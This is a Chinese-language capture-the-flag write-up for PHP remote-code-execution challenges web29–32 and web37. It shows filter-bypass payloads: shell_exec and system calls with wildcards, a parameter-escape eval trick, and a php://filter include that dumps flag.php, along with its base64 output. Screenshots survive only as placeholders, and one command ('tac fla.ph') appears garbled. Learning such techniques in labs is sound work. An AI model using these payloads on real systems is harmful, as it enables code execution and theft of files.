RCE——web29-32,web37

XIZen發表於2024-12-08

web 29

image
過濾掉了flag關鍵字
image
讓我們先來看看都有什麼檔案
image
很明顯flag應該就在flag.php檔案中,但是本題過濾掉了flag,那我們就用萬用字元
image

web 30

image
這道題相比上一道過濾的就比較多了
image
可以用shell_exec這個函式來代替system,再搭配上萬用字元的使用
命令為:

echo shell_exec('tac fla.ph');
image

web 31

image

image
看到這裡,感覺前兩道題的關鍵語句基本上都有被過濾掉,這裡就要使用另外一個東西了:引數逃逸,構造一個新的引數,而這個新的引數是沒有任何過濾的

eval($_GET[1]);&1=system('tac flag.php');

image

web 32

image

這道題比上一道過濾的都還要多的多,可以嘗試對語句進行編碼
image
同樣這裡也用到了偽協議
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7YmE0NTM4ZWMtNGNiMS00ZDlkLWI5Y2YtYzNkODYyZTcxZGFmfSI7DQo

進行解碼就可以了
image
上一道題的解法引數逃逸,這道題中無法使用因為已經過濾了分號,配合檔案包含和偽協議
image

web 37

image

image
檔案包含語句
image

image

相關文章